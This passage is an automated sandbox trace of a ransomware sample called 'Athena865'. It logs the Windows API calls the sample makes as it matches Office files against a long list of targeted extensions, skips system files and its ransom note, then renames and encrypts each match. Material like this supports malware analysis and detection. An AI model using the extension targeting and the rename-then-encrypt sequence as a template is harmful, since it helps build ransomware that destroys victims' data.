(lpString1="DLL", lpString2="jet") returned -1 [0145.058] lstrlenW (lpString="jtx") returned 3 [0145.058] lstrcmpiW (lpString1="DLL", lpString2="jtx") returned -1 [0145.058] lstrlenW (lpString="kdb") returned 3 [0145.058] lstrcmpiW (lpString1="DLL", lpString2="kdb") returned -1 [0145.058] lstrlenW (lpString="kexi") returned 4 [0145.058] lstrcmpiW (lpString1="_DLL", lpString2="kexi") returned -1 [0145.058] lstrlenW (lpString="kexic") returned 5 [0145.058] lstrcmpiW (lpString1="X_DLL", lpString2="kexic") returned 1 [0145.058] lstrlenW (lpString="kexis") returned 5 [0145.058] lstrcmpiW (lpString1="X_DLL", lpString2="kexis") returned 1 [0145.058] lstrlenW (lpString="lgc") returned 3 [0145.058] lstrcmpiW (lpString1="DLL", lpString2="lgc") returned -1 [0145.058] lstrlenW (lpString="lwx") returned 3 [0145.058] lstrcmpiW (lpString1="DLL", lpString2="lwx") returned -1 [0145.058] lstrlenW (lpString="maf") returned 3 [0145.058] lstrcmpiW (lpString1="DLL", lpString2="maf") returned -1 [0145.058] lstrlenW (lpString="maq") returned 3 [0145.058] lstrcmpiW (lpString1="DLL", lpString2="maq") returned -1 [0145.058] lstrlenW (lpString="mar") returned 3 [0145.058] lstrcmpiW (lpString1="DLL", lpString2="mar") returned -1 [0145.058] lstrlenW (lpString="marshal") returned 7 [0145.058] lstrcmpiW (lpString1="IDX_DLL", lpString2="marshal") returned -1 [0145.058] lstrlenW (lpString="mas") returned 3 [0145.058] lstrcmpiW (lpString1="DLL", lpString2="mas") returned -1 [0145.058] lstrlenW (lpString="mav") returned 3 [0145.058] lstrcmpiW (lpString1="DLL", lpString2="mav") returned -1 [0145.058] lstrlenW (lpString="maw") returned 3 [0145.058] lstrcmpiW (lpString1="DLL", lpString2="maw") returned -1 [0145.059] lstrlenW (lpString="mdbhtml") returned 7 [0145.059] lstrcmpiW (lpString1="IDX_DLL", lpString2="mdbhtml") returned -1 [0145.059] lstrlenW (lpString="mdn") returned 3 [0145.059] lstrcmpiW (lpString1="DLL", lpString2="mdn") returned -1 [0145.059] lstrlenW (lpString="mdt") returned 3 [0145.059] lstrcmpiW (lpString1="DLL", lpString2="mdt") returned -1 [0145.059] lstrlenW (lpString="mfd") returned 3 [0145.059] lstrcmpiW (lpString1="DLL", lpString2="mfd") returned -1 [0145.059] lstrlenW (lpString="mpd") returned 3 [0145.059] lstrcmpiW (lpString1="DLL", lpString2="mpd") returned -1 [0145.059] lstrlenW (lpString="mrg") returned 3 [0145.059] lstrcmpiW (lpString1="DLL", lpString2="mrg") returned -1 [0145.059] lstrlenW (lpString="mud") returned 3 [0145.059] lstrcmpiW (lpString1="DLL", lpString2="mud") returned -1 [0145.059] lstrlenW (lpString="mwb") returned 3 [0145.059] lstrcmpiW (lpString1="DLL", lpString2="mwb") returned -1 [0145.059] lstrlenW (lpString="myd") returned 3 [0145.059] lstrcmpiW (lpString1="DLL", lpString2="myd") returned -1 [0145.059] lstrlenW (lpString="ndf") returned 3 [0145.059] lstrcmpiW (lpString1="DLL", lpString2="ndf") returned -1 [0145.059] lstrlenW (lpString="nnt") returned 3 [0145.059] lstrcmpiW (lpString1="DLL", lpString2="nnt") returned -1 [0145.059] lstrlenW (lpString="nrmlib") returned 6 [0145.059] lstrcmpiW (lpString1="DX_DLL", lpString2="nrmlib") returned -1 [0145.059] lstrlenW (lpString="ns2") returned 3 [0145.059] lstrcmpiW (lpString1="DLL", lpString2="ns2") returned -1 [0145.059] lstrlenW (lpString="ns3") returned 3 [0145.059] lstrcmpiW (lpString1="DLL", lpString2="ns3") returned -1 [0145.059] lstrlenW (lpString="ns4") returned 3 [0145.060] lstrcmpiW (lpString1="DLL", lpString2="ns4") returned -1 [0145.060] lstrlenW (lpString="nsf") returned 3 [0145.060] lstrcmpiW (lpString1="DLL", lpString2="nsf") returned -1 [0145.060] lstrlenW (lpString="nv") returned 2 [0145.060] lstrcmpiW (lpString1="LL", lpString2="nv") returned -1 [0145.060] lstrlenW (lpString="nv2") returned 3 [0145.060] lstrcmpiW (lpString1="DLL", lpString2="nv2") returned -1 [0145.060] lstrlenW (lpString="nwdb") returned 4 [0145.060] lstrcmpiW (lpString1="_DLL", lpString2="nwdb") returned -1 [0145.060] lstrlenW (lpString="nyf") returned 3 [0145.060] lstrcmpiW (lpString1="DLL", lpString2="nyf") returned -1 [0145.060] lstrlenW (lpString="odb") returned 3 [0145.060] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0145.060] lstrlenW (lpString="odb") returned 3 [0145.060] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0145.060] lstrlenW (lpString="oqy") returned 3 [0145.060] lstrcmpiW (lpString1="DLL", lpString2="oqy") returned -1 [0145.060] lstrlenW (lpString="ora") returned 3 [0145.060] lstrcmpiW (lpString1="DLL", lpString2="ora") returned -1 [0145.060] lstrlenW (lpString="orx") returned 3 [0145.060] lstrcmpiW (lpString1="DLL", lpString2="orx") returned -1 [0145.060] lstrlenW (lpString="owc") returned 3 [0145.060] lstrcmpiW (lpString1="DLL", lpString2="owc") returned -1 [0145.060] lstrlenW (lpString="p96") returned 3 [0145.060] lstrcmpiW (lpString1="DLL", lpString2="p96") returned -1 [0145.060] lstrlenW (lpString="p97") returned 3 [0145.060] lstrcmpiW (lpString1="DLL", lpString2="p97") returned -1 [0145.060] lstrlenW (lpString="pan") returned 3 [0145.060] lstrcmpiW (lpString1="DLL", lpString2="pan") returned -1 [0145.061] lstrlenW (lpString="pdb") returned 3 [0145.061] lstrcmpiW (lpString1="DLL", lpString2="pdb") returned -1 [0145.061] lstrlenW (lpString="pdm") returned 3 [0145.061] lstrcmpiW (lpString1="DLL", lpString2="pdm") returned -1 [0145.061] lstrlenW (lpString="pnz") returned 3 [0145.061] lstrcmpiW (lpString1="DLL", lpString2="pnz") returned -1 [0145.061] lstrlenW (lpString="qry") returned 3 [0145.061] lstrcmpiW (lpString1="DLL", lpString2="qry") returned -1 [0145.061] lstrlenW (lpString="qvd") returned 3 [0145.061] lstrcmpiW (lpString1="DLL", lpString2="qvd") returned -1 [0145.061] lstrlenW (lpString="rbf") returned 3 [0145.061] lstrcmpiW (lpString1="DLL", lpString2="rbf") returned -1 [0145.061] lstrlenW (lpString="rctd") returned 4 [0145.061] lstrcmpiW (lpString1="_DLL", lpString2="rctd") returned -1 [0145.061] lstrlenW (lpString="rod") returned 3 [0145.061] lstrcmpiW (lpString1="DLL", lpString2="rod") returned -1 [0145.061] lstrlenW (lpString="rodx") returned 4 [0145.061] lstrcmpiW (lpString1="_DLL", lpString2="rodx") returned -1 [0145.061] lstrlenW (lpString="rpd") returned 3 [0145.061] lstrcmpiW (lpString1="DLL", lpString2="rpd") returned -1 [0145.061] lstrlenW (lpString="rsd") returned 3 [0145.061] lstrcmpiW (lpString1="DLL", lpString2="rsd") returned -1 [0145.061] lstrlenW (lpString="sas7bdat") returned 8 [0145.061] lstrcmpiW (lpString1=".IDX_DLL", lpString2="sas7bdat") returned -1 [0145.061] lstrlenW (lpString="sbf") returned 3 [0145.061] lstrcmpiW (lpString1="DLL", lpString2="sbf") returned -1 [0145.061] lstrlenW (lpString="scx") returned 3 [0145.061] lstrcmpiW (lpString1="DLL", lpString2="scx") returned -1 [0145.061] lstrlenW (lpString="sdb") returned 3 [0145.062] lstrcmpiW (lpString1="DLL", lpString2="sdb") returned -1 [0145.062] lstrlenW (lpString="sdc") returned 3 [0145.062] lstrcmpiW (lpString1="DLL", lpString2="sdc") returned -1 [0145.062] lstrlenW (lpString="sdf") returned 3 [0145.062] lstrcmpiW (lpString1="DLL", lpString2="sdf") returned -1 [0145.062] lstrlenW (lpString="sis") returned 3 [0145.062] lstrcmpiW (lpString1="DLL", lpString2="sis") returned -1 [0145.062] lstrlenW (lpString="spq") returned 3 [0145.062] lstrcmpiW (lpString1="DLL", lpString2="spq") returned -1 [0145.062] lstrlenW (lpString="te") returned 2 [0145.062] lstrcmpiW (lpString1="LL", lpString2="te") returned -1 [0145.062] lstrlenW (lpString="teacher") returned 7 [0145.062] lstrcmpiW (lpString1="IDX_DLL", lpString2="teacher") returned -1 [0145.062] lstrlenW (lpString="tmd") returned 3 [0145.062] lstrcmpiW (lpString1="DLL", lpString2="tmd") returned -1 [0145.062] lstrlenW (lpString="tps") returned 3 [0145.062] lstrcmpiW (lpString1="DLL", lpString2="tps") returned -1 [0145.062] lstrlenW (lpString="trc") returned 3 [0145.062] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0145.062] lstrlenW (lpString="trc") returned 3 [0145.062] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0145.062] lstrlenW (lpString="trm") returned 3 [0145.062] lstrcmpiW (lpString1="DLL", lpString2="trm") returned -1 [0145.062] lstrlenW (lpString="udb") returned 3 [0145.062] lstrcmpiW (lpString1="DLL", lpString2="udb") returned -1 [0145.062] lstrlenW (lpString="udl") returned 3 [0145.062] lstrcmpiW (lpString1="DLL", lpString2="udl") returned -1 [0145.062] lstrlenW (lpString="usr") returned 3 [0145.062] lstrcmpiW (lpString1="DLL", lpString2="usr") returned -1 [0145.063] lstrlenW (lpString="v12") returned 3 [0145.063] lstrcmpiW (lpString1="DLL", lpString2="v12") returned -1 [0145.063] lstrlenW (lpString="vis") returned 3 [0145.063] lstrcmpiW (lpString1="DLL", lpString2="vis") returned -1 [0145.063] lstrlenW (lpString="vpd") returned 3 [0145.063] lstrcmpiW (lpString1="DLL", lpString2="vpd") returned -1 [0145.063] lstrlenW (lpString="vvv") returned 3 [0145.063] lstrcmpiW (lpString1="DLL", lpString2="vvv") returned -1 [0145.063] lstrlenW (lpString="wdb") returned 3 [0145.063] lstrcmpiW (lpString1="DLL", lpString2="wdb") returned -1 [0145.063] lstrlenW (lpString="wmdb") returned 4 [0145.063] lstrcmpiW (lpString1="_DLL", lpString2="wmdb") returned -1 [0145.063] lstrlenW (lpString="wrk") returned 3 [0145.063] lstrcmpiW (lpString1="DLL", lpString2="wrk") returned -1 [0145.063] lstrlenW (lpString="xdb") returned 3 [0145.063] lstrcmpiW (lpString1="DLL", lpString2="xdb") returned -1 [0145.063] lstrlenW (lpString="xld") returned 3 [0145.063] lstrcmpiW (lpString1="DLL", lpString2="xld") returned -1 [0145.063] lstrlenW (lpString="xmlff") returned 5 [0145.063] lstrcmpiW (lpString1="X_DLL", lpString2="xmlff") returned -1 [0145.063] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL.IDX_DLL.Athena865") returned 77 [0145.063] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlwvw.dll.idx_dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL.IDX_DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlwvw.dll.idx_dll.athena865"), dwFlags=0x1) returned 1 [0145.065] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL.IDX_DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlwvw.dll.idx_dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0145.065] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=11136) returned 1 [0145.065] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0145.066] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0145.066] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0145.066] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0145.067] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0145.067] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0145.067] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2e80, lpName=0x0) returned 0x17c [0145.068] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2e80) returned 0x100000 [0145.069] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0145.070] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0145.070] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0145.070] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0145.070] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0145.070] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0145.070] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0145.070] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0145.070] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0145.070] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0145.071] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0145.071] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0145.071] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0145.071] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0145.071] CloseHandle (hObject=0x17c) returned 1 [0145.071] CloseHandle (hObject=0x154) returned 1 [0145.071] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0145.071] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0145.071] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0145.071] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3a6b500, ftCreationTime.dwHighDateTime=0x1c9c49e, ftLastAccessTime.dwLowDateTime=0x50b66320, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe3a6b500, ftLastWriteTime.dwHighDateTime=0x1c9c49e, nFileSizeHigh=0x0, nFileSizeLow=0xd7a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PASSPORT.CSS", cAlternateFileName="")) returned 1 [0145.071] lstrcmpiW (lpString1="PASSPORT.CSS", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0145.071] lstrcmpiW (lpString1="PASSPORT.CSS", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0145.071] lstrcmpiW (lpString1="PASSPORT.CSS", lpString2=".") returned 1 [0145.071] lstrcmpiW (lpString1="PASSPORT.CSS", lpString2="..") returned 1 [0145.071] lstrcmpiW (lpString1="PASSPORT.CSS", lpString2="windows") returned -1 [0145.071] lstrcmpiW (lpString1="PASSPORT.CSS", lpString2="bootmgr") returned 1 [0145.071] lstrcmpiW (lpString1="PASSPORT.CSS", lpString2="temp") returned -1 [0145.072] lstrcmpiW (lpString1="PASSPORT.CSS", lpString2="pagefile.sys") returned 1 [0145.072] lstrcmpiW (lpString1="PASSPORT.CSS", lpString2="boot") returned 1 [0145.072] lstrcmpiW (lpString1="PASSPORT.CSS", lpString2="ids.txt") returned 1 [0145.072] lstrcmpiW (lpString1="PASSPORT.CSS", lpString2="ntuser.dat") returned 1 [0145.072] lstrcmpiW (lpString1="PASSPORT.CSS", lpString2="perflogs") returned -1 [0145.072] lstrcmpiW (lpString1="PASSPORT.CSS", lpString2="MSBuild") returned 1 [0145.072] lstrlenW (lpString="PASSPORT.CSS") returned 12 [0145.072] lstrcpyW (in: lpString1=0x241e8a8, lpString2="PASSPORT.CSS" | out: lpString1="PASSPORT.CSS") returned="PASSPORT.CSS" [0145.072] lstrlenW (lpString="PASSPORT.CSS") returned 12 [0145.072] lstrlenW (lpString="Athena865") returned 9 [0145.072] lstrcmpiW (lpString1="SPORT.CSS", lpString2="Athena865") returned 1 [0145.072] lstrlenW (lpString=".dll") returned 4 [0145.072] lstrcmpiW (lpString1="PASSPORT.CSS", lpString2=".dll") returned 1 [0145.072] lstrlenW (lpString=".lnk") returned 4 [0145.072] lstrcmpiW (lpString1="PASSPORT.CSS", lpString2=".lnk") returned 1 [0145.072] lstrlenW (lpString=".ini") returned 4 [0145.072] lstrcmpiW (lpString1="PASSPORT.CSS", lpString2=".ini") returned 1 [0145.072] lstrlenW (lpString=".sys") returned 4 [0145.072] lstrcmpiW (lpString1="PASSPORT.CSS", lpString2=".sys") returned 1 [0145.072] lstrlenW (lpString="PASSPORT.CSS") returned 12 [0145.072] lstrlenW (lpString="bak") returned 3 [0145.072] lstrcmpiW (lpString1="CSS", lpString2="bak") returned 1 [0145.072] lstrlenW (lpString="ba_") returned 3 [0145.072] lstrcmpiW (lpString1="CSS", lpString2="ba_") returned 1 [0145.072] lstrlenW (lpString="dbb") returned 3 [0145.072] lstrcmpiW (lpString1="CSS", lpString2="dbb") returned -1 [0145.072] lstrlenW (lpString="vmdk") returned 4 [0145.072] lstrcmpiW (lpString1=".CSS", lpString2="vmdk") returned -1 [0145.072] lstrlenW (lpString="rar") returned 3 [0145.073] lstrcmpiW (lpString1="CSS", lpString2="rar") returned -1 [0145.073] lstrlenW (lpString="zip") returned 3 [0145.073] lstrcmpiW (lpString1="CSS", lpString2="zip") returned -1 [0145.073] lstrlenW (lpString="tgz") returned 3 [0145.073] lstrcmpiW (lpString1="CSS", lpString2="tgz") returned -1 [0145.073] lstrlenW (lpString="vbox") returned 4 [0145.073] lstrcmpiW (lpString1=".CSS", lpString2="vbox") returned -1 [0145.073] lstrlenW (lpString="vdi") returned 3 [0145.073] lstrcmpiW (lpString1="CSS", lpString2="vdi") returned -1 [0145.073] lstrlenW (lpString="vhd") returned 3 [0145.073] lstrcmpiW (lpString1="CSS", lpString2="vhd") returned -1 [0145.073] lstrlenW (lpString="vhdx") returned 4 [0145.073] lstrcmpiW (lpString1=".CSS", lpString2="vhdx") returned -1 [0145.073] lstrlenW (lpString="avhd") returned 4 [0145.073] lstrcmpiW (lpString1=".CSS", lpString2="avhd") returned -1 [0145.073] lstrlenW (lpString="db") returned 2 [0145.073] lstrcmpiW (lpString1="SS", lpString2="db") returned 1 [0145.073] lstrlenW (lpString="db2") returned 3 [0145.073] lstrcmpiW (lpString1="CSS", lpString2="db2") returned -1 [0145.073] lstrlenW (lpString="db3") returned 3 [0145.073] lstrcmpiW (lpString1="CSS", lpString2="db3") returned -1 [0145.073] lstrlenW (lpString="dbf") returned 3 [0145.073] lstrcmpiW (lpString1="CSS", lpString2="dbf") returned -1 [0145.073] lstrlenW (lpString="mdf") returned 3 [0145.073] lstrcmpiW (lpString1="CSS", lpString2="mdf") returned -1 [0145.073] lstrlenW (lpString="mdb") returned 3 [0145.073] lstrcmpiW (lpString1="CSS", lpString2="mdb") returned -1 [0145.073] lstrlenW (lpString="sql") returned 3 [0145.073] lstrcmpiW (lpString1="CSS", lpString2="sql") returned -1 [0145.073] lstrlenW (lpString="sqlite") returned 6 [0145.073] lstrcmpiW (lpString1="RT.CSS", lpString2="sqlite") returned -1 [0145.074] lstrlenW (lpString="sqlite3") returned 7 [0145.074] lstrcmpiW (lpString1="ORT.CSS", lpString2="sqlite3") returned -1 [0145.074] lstrlenW (lpString="sqlitedb") returned 8 [0145.074] lstrcmpiW (lpString1="PORT.CSS", lpString2="sqlitedb") returned -1 [0145.074] lstrlenW (lpString="xml") returned 3 [0145.074] lstrcmpiW (lpString1="CSS", lpString2="xml") returned -1 [0145.074] lstrlenW (lpString="$er") returned 3 [0145.074] lstrcmpiW (lpString1="CSS", lpString2="$er") returned 1 [0145.074] lstrlenW (lpString="4dd") returned 3 [0145.074] lstrcmpiW (lpString1="CSS", lpString2="4dd") returned 1 [0145.074] lstrlenW (lpString="4dl") returned 3 [0145.074] lstrcmpiW (lpString1="CSS", lpString2="4dl") returned 1 [0145.074] lstrlenW (lpString="^^^") returned 3 [0145.074] lstrcmpiW (lpString1="CSS", lpString2="^^^") returned 1 [0145.074] lstrlenW (lpString="abs") returned 3 [0145.074] lstrcmpiW (lpString1="CSS", lpString2="abs") returned 1 [0145.074] lstrlenW (lpString="abx") returned 3 [0145.074] lstrcmpiW (lpString1="CSS", lpString2="abx") returned 1 [0145.074] lstrlenW (lpString="accdb") returned 5 [0145.074] lstrcmpiW (lpString1="T.CSS", lpString2="accdb") returned 1 [0145.074] lstrlenW (lpString="accdc") returned 5 [0145.074] lstrcmpiW (lpString1="T.CSS", lpString2="accdc") returned 1 [0145.074] lstrlenW (lpString="accde") returned 5 [0145.074] lstrcmpiW (lpString1="T.CSS", lpString2="accde") returned 1 [0145.074] lstrlenW (lpString="accdr") returned 5 [0145.074] lstrcmpiW (lpString1="T.CSS", lpString2="accdr") returned 1 [0145.074] lstrlenW (lpString="accdt") returned 5 [0145.074] lstrcmpiW (lpString1="T.CSS", lpString2="accdt") returned 1 [0145.074] lstrlenW (lpString="accdw") returned 5 [0145.075] lstrcmpiW (lpString1="T.CSS", lpString2="accdw") returned 1 [0145.075] lstrlenW (lpString="accft") returned 5 [0145.075] lstrcmpiW (lpString1="T.CSS", lpString2="accft") returned 1 [0145.075] lstrlenW (lpString="adb") returned 3 [0145.075] lstrcmpiW (lpString1="CSS", lpString2="adb") returned 1 [0145.075] lstrlenW (lpString="adb") returned 3 [0145.075] lstrcmpiW (lpString1="CSS", lpString2="adb") returned 1 [0145.075] lstrlenW (lpString="ade") returned 3 [0145.075] lstrcmpiW (lpString1="CSS", lpString2="ade") returned 1 [0145.075] lstrlenW (lpString="adf") returned 3 [0145.075] lstrcmpiW (lpString1="CSS", lpString2="adf") returned 1 [0145.075] lstrlenW (lpString="adn") returned 3 [0145.075] lstrcmpiW (lpString1="CSS", lpString2="adn") returned 1 [0145.075] lstrlenW (lpString="adp") returned 3 [0145.075] lstrcmpiW (lpString1="CSS", lpString2="adp") returned 1 [0145.075] lstrlenW (lpString="alf") returned 3 [0145.075] lstrcmpiW (lpString1="CSS", lpString2="alf") returned 1 [0145.075] lstrlenW (lpString="ask") returned 3 [0145.075] lstrcmpiW (lpString1="CSS", lpString2="ask") returned 1 [0145.075] lstrlenW (lpString="btr") returned 3 [0145.075] lstrcmpiW (lpString1="CSS", lpString2="btr") returned 1 [0145.075] lstrlenW (lpString="cat") returned 3 [0145.075] lstrcmpiW (lpString1="CSS", lpString2="cat") returned 1 [0145.075] lstrlenW (lpString="cdb") returned 3 [0145.075] lstrcmpiW (lpString1="CSS", lpString2="cdb") returned 1 [0145.075] lstrlenW (lpString="ckp") returned 3 [0145.075] lstrcmpiW (lpString1="CSS", lpString2="ckp") returned 1 [0145.075] lstrlenW (lpString="cma") returned 3 [0145.075] lstrcmpiW (lpString1="CSS", lpString2="cma") returned 1 [0145.075] lstrlenW (lpString="cpd") returned 3 [0145.075] lstrcmpiW (lpString1="CSS", lpString2="cpd") returned 1 [0145.076] lstrlenW (lpString="dacpac") returned 6 [0145.076] lstrcmpiW (lpString1="RT.CSS", lpString2="dacpac") returned 1 [0145.076] lstrlenW (lpString="dad") returned 3 [0145.076] lstrcmpiW (lpString1="CSS", lpString2="dad") returned -1 [0145.076] lstrlenW (lpString="dadiagrams") returned 10 [0145.076] lstrcmpiW (lpString1="SSPORT.CSS", lpString2="dadiagrams") returned 1 [0145.076] lstrlenW (lpString="daschema") returned 8 [0145.076] lstrcmpiW (lpString1="PORT.CSS", lpString2="daschema") returned 1 [0145.076] lstrlenW (lpString="db-journal") returned 10 [0145.076] lstrcmpiW (lpString1="SSPORT.CSS", lpString2="db-journal") returned 1 [0145.076] lstrlenW (lpString="db-shm") returned 6 [0145.076] lstrcmpiW (lpString1="RT.CSS", lpString2="db-shm") returned 1 [0145.076] lstrlenW (lpString="db-wal") returned 6 [0145.076] lstrcmpiW (lpString1="RT.CSS", lpString2="db-wal") returned 1 [0145.076] lstrlenW (lpString="dbc") returned 3 [0145.076] lstrcmpiW (lpString1="CSS", lpString2="dbc") returned -1 [0145.076] lstrlenW (lpString="dbs") returned 3 [0145.076] lstrcmpiW (lpString1="CSS", lpString2="dbs") returned -1 [0145.076] lstrlenW (lpString="dbt") returned 3 [0145.076] lstrcmpiW (lpString1="CSS", lpString2="dbt") returned -1 [0145.076] lstrlenW (lpString="dbv") returned 3 [0145.076] lstrcmpiW (lpString1="CSS", lpString2="dbv") returned -1 [0145.076] lstrlenW (lpString="dbx") returned 3 [0145.076] lstrcmpiW (lpString1="CSS", lpString2="dbx") returned -1 [0145.076] lstrlenW (lpString="dcb") returned 3 [0145.076] lstrcmpiW (lpString1="CSS", lpString2="dcb") returned -1 [0145.077] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PASSPORT.CSS.Athena865") returned 70 [0145.077] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PASSPORT.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\passport.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PASSPORT.CSS.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\passport.css.athena865"), dwFlags=0x1) returned 1 [0145.082] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PASSPORT.CSS.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\passport.css.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0145.082] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3450) returned 1 [0145.082] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0145.082] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0145.082] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0145.082] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0145.083] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0145.083] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0145.083] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1080, lpName=0x0) returned 0x17c [0145.085] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1080) returned 0x100000 [0145.085] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0145.086] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0145.086] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0145.086] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0145.086] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0145.086] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0145.086] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0145.086] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0145.086] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0145.087] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0145.087] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0145.087] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, 